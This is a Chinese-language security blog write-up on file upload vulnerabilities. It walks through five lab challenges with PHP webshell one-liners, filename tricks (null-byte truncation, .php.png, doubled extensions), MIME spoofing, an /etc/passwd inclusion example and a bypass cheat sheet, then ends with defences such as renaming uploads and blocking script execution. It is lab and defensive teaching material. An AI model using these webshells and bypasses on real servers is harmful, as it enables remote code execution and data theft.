ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

杂记09 文件上传漏洞

杂记09 文件上传漏洞 文件上传漏洞的本质服务器太信任访客不仅让他随便存东西还帮他把存进去的危险代码执行了。本文按「原理 → WebShell 拆解 → 五个靶场递进 → 绕过速查 → 防御」组织难度从 1 级到 3 级。⚠️ 本文所有测试均在授权靶场中完成仅用于安全学习与防御研究请勿用于未授权目标。一、文件上传漏洞概述1.1 什么是文件上传漏洞Web 应用在处理用户上传的文件时没有对文件进行严格的验证和过滤导致攻击者可以上传恶意脚本文件如 WebShell。1.2 漏洞成立的三个条件#条件说明1校验不严服务器未严格校验文件的后缀名、MIME 类型或文件内容2能落盘上传的文件被保存在 Web 可访问的目录下3能被解析上传目录具有脚本执行权限这是最致命的一环 三者缺一不可。很多防御得很好的系统最后就是栽在第三条——目录权限没隔离。1.3 危害上传的 WebShell 可以被用来执行任意系统命令RCE远程代码执行读取敏感文件配置文件、源码、Flag窃取数据库信息作为跳板进入内网完全控制服务器二、WebShell 的两把钥匙文件上传成功后你需要一个能干活的 Payload。最常用的两种各有所长2.1 方式一命令执行马?php system($_GET[cmd]); ?作用在服务器上装一个遥控器让你可以通过浏览器执行操作系统命令。逐词拆解片段作用?php ... ?PHP 代码的定界符。告诉服务器中间是 PHP 代码请用解释器执行别当文本显示systemPHP 内置函数调用操作系统的命令行执行命令并把结果直接打印到网页上$_GET[cmd]超全局变量接收 URL 参数?cmd...传来的值;PHP 语句结束符运行流程访问http://靶场地址/shell.php?cmdcat /tmp/flag.txtPHP 收到 URL 里的cmd参数值为cat /tmp/flag.txtsystem()拿到这个值在服务器底层执行 Linux 命令cat /tmp/flag.txt命令结果返回给 PHPPHP 再显示到浏览器优缺点✅优点极度灵活。只要没被禁用你不仅能读 Flag还能反弹 Shell、查看内网、植入后门——这才是真正的 WebShell❌缺点极易被拦截。WAF 和 PHP 的disable_functions通常都会把system、exec拉黑2.2 方式二文件读取马?php echo file_get_contents(/tmp/flag.txt); ?作用写死一个目标文件让服务器自动读取并把内容吐出来。逐词拆解片段作用echo打印输出语句相当于把后面的东西念出来file_get_contentsPHP 内置函数把整个文件读成一个字符串。它是个完全正常的业务函数读配置、读模板都用它/tmp/flag.txt目标文件的绝对路径这里是硬编码的;语句结束符运行流程上传后直接访问http://靶场地址/shell2.php不需要任何 URL 参数即可看到 Flag。优缺点✅优点隐蔽性高容易绕过防护。file_get_contents是正常的开发函数很多 WAF 和禁用列表不会拦它。system被禁时这招往往能救命❌缺点不够灵活。路径写死Flag 换个位置就得重新传一个马2.3 深度对比与选用顺序维度方式一system方式二file_get_contents本质获得操作系统命令执行权限获得服务器文件读取权限交互性交互式改 URL 参数即可执行无数命令非交互式访问即触发只能读指定文件实战定位高级别漏洞利用离控制整台服务器只差一步敏感信息泄露常用于窃取配置、源码绕过能力容易被查杀system特征太明显相对安全函数本身属正常业务逻辑依赖条件PHP 未禁用system等执行函数PHP 未禁用文件读取函数且执行用户对该文件有读权限实战测试顺序先试方式一命令执行——成功了能做的事最多如果system被禁用或 WAF 拦截 →换方式二文件读取偷敏感信息如果读取也受限 → 还可以试scandir()列目录、file_put_contents()写文件等变种2.4 PHP 危险函数速查类别函数说明命令执行system()执行外部程序并输出结果exec()执行外部程序不输出返回最后一行shell_exec()通过 shell 执行返回完整输出passthru()执行外部程序并原样输出popen()打开进程文件指针文件读取file_get_contents()整个文件读入字符串readfile()输出文件内容fopen()/fgets()打开并逐行读取代码执行eval()把字符串当 PHP 代码执行assert()断言历史上可执行代码PHP 7.2 起废弃字符串执行PHP 8 已移除preg_replace()/e修饰符正则替换时执行代码PHP 7 已移除三、靶场一初级文件上传3.1 靶场信息项目值靶场名称初级文件上传难度1 级目标上传一个 PHP 文件读取服务器上的/tmp/flag.txt页面提示明确提示允许上传 PHP 文件几乎没有防御3.2 测试流程第一步信息收集观察页面提示允许上传 PHP 文件。用 Burp Suite 抓包分析上传请求。第二步编写 Payload方式一命令执行马?php system($_GET[cmd]); ? 方式二文件读取马?php echo file_get_contents(/tmp/flag.txt); ?第三步上传命名为shell.php上传。抓包发现上传接口为POST /请求类型为multipart/form-data。第四步利用访问上传后的路径http://.../uploads/shell.php方式一需要拼接参数 →?cmdcat /tmp/flag.txt方式二直接访问即可拿到 Flag3.3 两个典型报错报错现象原因解决Cannot execute a blank command代码执行了但报错无法执行空命令访问 URL 时忘了拼?cmd...$_GET[cmd]为空访问.../shell.php?cmdcat /tmp/flag.txt页面直接显示源码看到的是?php ... ?文本服务器只把.php后缀交给 PHP 解释器.png等被视为静态资源直接返回确认后缀真的是.php3.4 大白话版一次特工潜入把整个过程想象成潜入敌方大楼窃取机密阶段故事技术对应① 踩点造钥匙大楼告示牌写着允许访客存包裹机密放在/tmp/flag.txt房间。你回家打造了一把万能钥匙——system马像传呼机喊什么干什么file_get_contents马像自动扫描仪放进去自己去找文件观察页面提示 → 编写 Payload② 送货上门你把钥匙伪装成普通包裹递给前台。保安很马虎只看标签是.php就扔进了储物间。你还在旁边偷听到他自言自语我是 Apache 2.4.10用 PHP 5.4.45 的规矩上传shell.php到/uploads/Server响应头泄露技术栈③ 激活钥匙包裹存进去还是个死物。你走到储物间门口大喊它的名字——大楼的规矩是.php结尾的文件都当指令执行包裹瞬间活了浏览器访问/uploads/shell.php④ 窃取机密传呼机钥匙第一次被喊醒时报错你不能下空命令你补了句暗号?cmdcat /tmp/flag.txt它立刻去把机密拿了出来。自动扫描仪钥匙则连暗号都不用对拼接?cmd参数 / 直接访问一句话总结这次打靶服务器太信任访客——不仅让他随便存东西还帮他把存进去的危险代码执行了。3.5 信息泄露的收获抓包时响应头暴露了Server: Apache/2.4.10 (Debian) PHP/5.4.45别小看这一行实战中拿到服务器和语言的具体版本就可以去查该版本有没有已知漏洞CVE是渗透的重要突破口。四、靶场二前端校验绕过靶场名称你想在前端做出花来吗4.1 靶场信息项目值难度1 级核心考点客户端前端安全校验的不可靠性目标上传 PHP 木马读取/tmp/flag.txt4.2 漏洞判定为什么前端校验等于没有页面提示选择你要上传的文件仅限 png、jpg。结合靶场标题可判定这是前端 JavaScript 校验。核心理论前端代码运行在用户的浏览器里而浏览器完全由用户控制——可以禁用 JS、改 HTML、拦截并篡改 HTTP 请求。因此任何仅依赖前端的过滤都是形同虚设的。4.3 通关流程第一步准备木马本地新建webshell1.png内容写入?php system($_GET[cmd]); ?。 为什么要先起个.png的名字因为前端只认后缀.png才能通过 JS 检查、把请求发出去。第二步抓包启动 Burp Suite 开启代理拦截在网页上选择.png文件并点击上传——前端 JS 放行请求被 Burp 拦下。第三步偷梁换柱在拦截到的 POST 请求里找到关键行修改文件名修改前Content-Disposition: form-data; namefileToUpload; filenamewebshell1.png 修改后Content-Disposition: form-data; namefileToUpload; filenamewebshell1.php点击Forward放行把改过的请求发给服务器。4.4 三个典型报错与排查#报错原因解决1访问.png时页面直接显示源码服务器只把.php交给 PHP 解释器.png被当成静态资源返回确认在 Burp 里真的改成功了后缀再放行2Parse error: syntax error, unexpected system在 Burp 里粘贴代码时?php中间混入了换行变成?和php两行解释器认不出起始标签确保 Payload完全在同一行无多余换行重新上传3Cannot execute a blank command访问时忘了拼?cmd参数访问.../webshell.php?cmdcat /tmp/flag.txt这三个报错极具代表性第 1 个是没改成功第 2 个是改坏了第 3 个是用错了。能看懂报错比记住 payload 更重要。4.5 HTTP 文件上传请求结构解析抓包时要重点盯这几个头部头部含义攻击价值Content-Type: multipart/form-data; boundary...标识这是含文件数据的表单提交boundary是分隔各表单项的边界字符串识别上传请求Content-Disposition: form-data; namefileToUpload; filename...定义字段名和上传文件的原始名称⭐前端校验最常检查、抓包修改最频繁的位置Content-Type: image/png文件部分指定文件的 MIME 类型后端可能检查它欺骗时通常保持image/png4.6 前端校验的三种绕过方式方式操作适用场景抓包改包Burp Suite拦截请求改后缀名、改 MIME、改内容⭐最通用、最核心禁用浏览器 JSF12 → 设置 → 禁用 JavaScript前端校验纯粹靠 JS 时修改前端代码F12 审查元素删掉input accept.png, .jpg的限制属性校验写在标签属性里时五、靶场三00 截断Null Byte Injection靶场名称你知道 00 截断吗5.1 靶场信息项目值难度2 级核心考点C 语言底层字符串截断特性、绕过白名单校验逻辑前端限制只允许上传.png推测后端是白名单校验⚠️一处版本疑点该靶场的响应头显示PHP/5.4.45但 00 截断依赖的是PHP 5.3.4 之前的缺陷5.3.4 已修复。所以这个靶场要么是模拟环境要么是应用层自己做了 URL 解码后拼接路径。原理仍是下面这套但触发条件依赖靶场具体实现——这一点要心里有数。5.2 底层原理C 语言的遇到\0就刹车计算机底层的核心系统操作打开文件、写入文件、分配内存大多是C 语言写的。而 C 语言判断字符串在哪里结束靠的是一个特殊字符——空字符Null Byte写作\0ASCII 码值为0在 URL 编码里就是%00。把\0想象成句号底层函数读路径时一旦读到\0就认为这句话说完了后面的内容直接忽略。5.3 逻辑冲突校验与落盘不一致漏洞就诞生于Web 应用层和底层系统层对\0的态度差异。① 校验阶段Web 应用层开发者写了白名单校验if (preg_match(/\.(jpg|png)$/, $filename)) { // 后缀合法继续 } else { die(只允许上传图片); }攻击者传入shell.php%00.pngPHP 的视角它记录字符串的真实长度看到的是完整的shell.php\0.png结尾是.png→白名单校验通过② 保存阶段底层系统层move_uploaded_file($_FILES[file][tmp_name], uploads/ . $filename);这个函数最终会调用操作系统底层的 C 函数来写文件C 语言的视角拿到路径uploads/shell.php\0.png从左往右读读到uploads/shell.php后遇到\0——句号路径结束了→丢弃后面的.png最终结果阶段系统以为实际校验时要传一个安全的图片—落盘时—硬盘上创建了uploads/shell.php一句话记住00 截断 利用高级语言校验机制与底层语言执行机制对字符串结束符认知的不一致。5.4 实战中的三种截断形态① 文件上传中的截断本靶场filenameshell.php%00.png目的欺骗后缀白名单。⚠️关键细节multipart 请求的filename字段PHP 并不会自动 URL 解码。所以直接发%00可能会被当成普通的三个字符%、0、0。要么应用层自己做了urldecode()要么你需要在 Burp 里用 Hex 模式发送原始的0x00字节。这一点是 00 截断最容易失败的地方。② 文件包含LFI中的截断假设后端代码是include($_GET[file] . .php);你想读/etc/passwd但它强制拼接了.phpURL 传入?file/etc/passwd%00 底层拼接/etc/passwd\0.php 执行结果截断生效成功读取 /etc/passwd③ 路径长度截断另一种变种不利用\0而是利用操作系统的路径长度限制Windows 约 256 字节Linux 4096 字节。构造超长路径超出限制的部分被系统丢弃也可能达到绕过后缀校验的目的。但这种方式条件苛刻、难以控制。5.5 为什么现在几乎见不到了层面原因语言层封杀PHP5.3.42010 年起彻底修复路径中出现\0直接报错拒绝框架层过滤Spring Boot、Laravel、Django 等框架底层会自动过滤异常二进制字符WAF 拦截%00早已被列为高危特征直接封 IP六、靶场四文件上传简单绕过 2.06.1 靶场信息项目值难度3 级核心考点后端白名单绕过 MIME 类型欺骗 Apache 多后缀解析漏洞环境特征Server: Apache暗示存在解析漏洞目标绕过图片后缀和文件类型双重校验6.2 踩坑与漏洞判定尝试结果推论页面文件选择器只让选图片前端拦截存在前端校验可抓包绕过强行上传.php红色报错文件类型不正确请重新上传只允许上传图片文件后端也校验了后缀白名单大概率还校验了Content-Type6.3 组合拳两处抓包修改用 Burp 拦截 POST 请求做两处关键修改① 改文件名——利用解析漏洞绕过白名单修改前filenamewebshell.png.php ← 后缀是 .php被白名单拦 修改后filenamewebshell.php.png ← 后缀是 .png通过Apache 会向左解析成 PHP② 改 Content-Type——MIME 欺骗绕过类型校验修改前Content-Type: application/octet-stream 修改后Content-Type: image/png放行请求 → 访问http://.../uploads/webshell.php.png→ Apache 触发解析漏洞执行 PHP → 读取/tmp/flag.txt。6.4 MIME 类型校验与欺骗问题答案什么是 MIME描述文件内容类型的标准。浏览器上传时会根据后缀自动填充Content-Type.jpg→image/jpeg.php→application/x-php后端怎么校验读取请求头里的Content-Type在白名单内如image/png、image/jpeg就放行怎么绕过HTTP 请求是客户端发出的用 Burp 拦截后把application/x-php强行改成image/png即可本质Content-Type是客户端自己声明的服务器如果只信这个声明等于让攻击者自己给自己发通行证。6.5 Apache 多后缀解析漏洞原理Apache 在处理test.php.png这类文件名时如果开启了mod_php且没有严格限制会从右向左寻找可识别的扩展名。文件名webshell.php.png ↓ 遇到 .png → 不认识 ↓ 继续向左看 → 遇到 .php → 识别为 PHP 脚本 → 执行解析过程示意步骤Apache 的判断1最右边是.png没有对应的处理器2继续向左发现.php3匹配到 PHP 处理器 →按 PHP 执行⚠️环境依赖这种命名方式在Nginx中通常不会触发Nginx 默认只看最后一个后缀。而且即使同为 Apache该行为也取决于版本与配置新版 Apache 默认配置已明显收紧。本靶场恰好是存在该漏洞的 Apache 环境。6.6 为什么.php.png比.png.php更好文件名白名单校验Apache 执行结论webshell.png.php❌ 后缀是.php被拦—不行webshell.php.png✅ 后缀是.png放行✅ 向左解析到.php执行⭐标准姿势口诀危险后缀往前放安全后缀往后放——校验看最后执行看全部。七、靶场五文件上传简单绕过 3.0双写绕过黑名单7.1 靶场信息项目值难度3 级核心考点黑名单过滤逻辑缺陷、字符串替换绕过双写绕过靶场特点页面直接回显原始文件名和过滤后文件名相当于把后端过滤规则暴露给了攻击者7.2 试探用回显反推过滤规则首次尝试常规双写webshell.phpphp服务器回显原始文件名 webshell.phpphp 过滤后文件名webell.规则推导从webshell变成webell可以看出后端不只删了php还删了sh。大致等价于$new_name str_replace([php, sh], , $filename);代入验证webshell.phpphp→ 删掉两处php→webshell.→ 再删掉sh→webell.✅ 与回显完全吻合。这个靶场最大的价值就在这里它把过滤结果直接回显出来等于给了你一台调试器。实战中没有这种好事只能靠 fuzzing 试探——但推理方法完全一样。7.3 双写绕过的本质双写绕过利用的是后端过滤代码替换次数有限 / 非递归替换的缺陷。str_replace()在一遍扫描中把所有不重叠的匹配项删掉但删完之后不会再回头扫一遍。于是输入 p p h p h p 即 pphphp ↓ 扫描 ① pph ≠ php跳过 ② php ✓ 命中删掉第 2~4 位 ③ 剩下的p第1位 h p第5、6位 php ↓ 输出 p h p 即 phppphphp过滤后变成了php—— 危险后缀复活了。7.4 构造与验证这里有一处必须纠正php好办sh是难点。很多人包括原始笔记会想当然地认为sh也双写成shsh就行了。但这是错的——shsh里两个sh不重叠会被一次性全部删掉什么都不剩。正确的思路不是双写让它剩一个而是利用删除后残留的字符重新拼出sh输入 s s h h ↓ 扫描 ① ss ≠ sh跳过 ② sh ✓ 命中删掉第 2、3 位 ③ 剩下的s第1位 h第4位 sh ↓ 输出 s h所以webshell要写成websshhellwebsshhell。完整 Payload 推演阶段字符串原始文件名websshhell.pphphp过掉php单遍、非递归websshhell.php再过掉shwebshell.php✅最终操作步骤抓包拦截请求 修改 filenamewebsshhell.pphphp 顺手把 Content-Type: image/png 改掉绕过 MIME 校验 放行请求 访问 /uploads/webshell.php执行代码获取 Flag方法论这个靶场既然回显过滤结果就应该边改边看——先发一次看回显再根据回显调整。不要背 payload要会推规则。7.5 靶场与实战的区别靶场真实场景过滤规则直接回显过滤后文件名完全不可见探测方式看一眼就知道只能靠 fuzzing反复发送不同的双写、大小写、特殊字符 payload通过上传成功与否、文件路径变化等微小反馈猜测规则八、校验方式与绕过手法速查校验类型服务器怎么做绕过方式前端 JS 校验浏览器里用 JS 检查后缀抓包改包 / 禁用 JS / 改 HTML 属性MIME 校验检查Content-Type请求头抓包改成image/png等合法类型后缀黑名单禁止.php、.jsp等大小写pHp、特殊后缀php3、phtml、php5、双写pphphp、系统特性test.php.、test.php::$DATA仅 Windows、.htaccess文件攻击后缀白名单只允许.jpg、.png配合解析漏洞Apachetest.php.png、Nginxtest.jpg/.php、%00截断PHP 5.3.4文件内容检测检查文件头Magic Bytes制作图片马在代码前加GIF89a等文件头配合文件包含漏洞利用 注意绕过思路的层次黑名单是堵漏绕过靠变体白名单是只开一扇门绕过只能靠门的另一边有漏洞解析漏洞、截断、文件包含。白名单难绕得多。九、防御总览9.1 核心原则前端校验只为了用户体验所有安全校验必须且只能在服务器端进行。9.2 六道防线按有效性排序#措施说明有效性1统一重命名上传后强制用随机字符串UUID重命名彻底剥离用户提供的文件名⭐⭐⭐最有效一劳永逸2目录禁止执行上传目录配置为禁止解析任何脚本只当静态资源读⭐⭐⭐ 兜底之王3白名单策略只允许业务必须的格式jpg、png、docx严格校验后缀⭐⭐4真实内容检测用finfo_file()/getimagesize()读文件真实内容而不是只看Content-Type⭐⭐5二次渲染用 GD 库把图片重新画一遍破坏藏在文件里的恶意代码⭐⭐6辅助措施限制文件大小防 DoS、关闭display_errors防泄露物理路径⭐记住第 1 和第 2 条就够了改名字 断执行。哪怕攻击者把木马传上来了改过名的文件他访问不到不能执行的文件等于一堆死代码。9.3 配置示例Nginx禁止上传目录解析 PHPlocation ^~ /uploads/ { # 上传目录内的 PHP 一律拒绝图片等静态资源正常访问 location ~ \.php$ { return 403; } }Apache禁止多后缀文件被解析FilesMatch ^.\.php.*$ Require all denied /FilesMatchPHP 层过滤危险字符// 如果业务必须保留原始文件名务必过滤掉这些 $name str_replace([\0, %00, .., /, \\], , $name);⚠️ 注意用黑名单过滤文件名本身就是下策。上面这段代码只是如果非要保留原名时的兜底正确做法还是第 1 条——直接重命名。十、总结10.1 五个靶场串起来看靶场难度防御类型绕过手法初级文件上传1 级几乎无防御直接传.php你想在前端做出花来吗1 级前端 JS 校验抓包改filename你知道 00 截断吗2 级白名单校验shell.php%00.png简单绕过 2.03 级白名单 MIME.php.png 改Content-Type简单绕过 3.03 级黑名单替换双写websshhell.pphphp10.2 攻击链主线发现限制 → 判断限制类型前端 / 后缀 / MIME / 内容→ 抓包篡改 → 利用底层解析特性 → 执行代码这条主线适用于绝大多数文件上传场景。判断限制在哪一层比记住具体的 payload 重要得多。10.3 练习建议改请求方法/后缀把.php换成.phtml、.php5、.pHp看哪些还能执行加防御再绕过在后端加上 CSRF Token 式的白名单观察攻击请求如何被拦截做一张图片马在代码前加GIF89a测试后端是否只查文件头搭本地环境自己起一个 Apache PHP 5.x亲手验证解析漏洞和 00 截断10.4 一句话收尾文件上传漏洞看似简单但绕过手法千变万化。掌握底层原理服务器如何解析文件、如何执行代码比死记硬背 Payload 更重要。防御的核心只有两条给文件改个攻击者猜不到的名字让上传目录不能执行任何脚本。
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进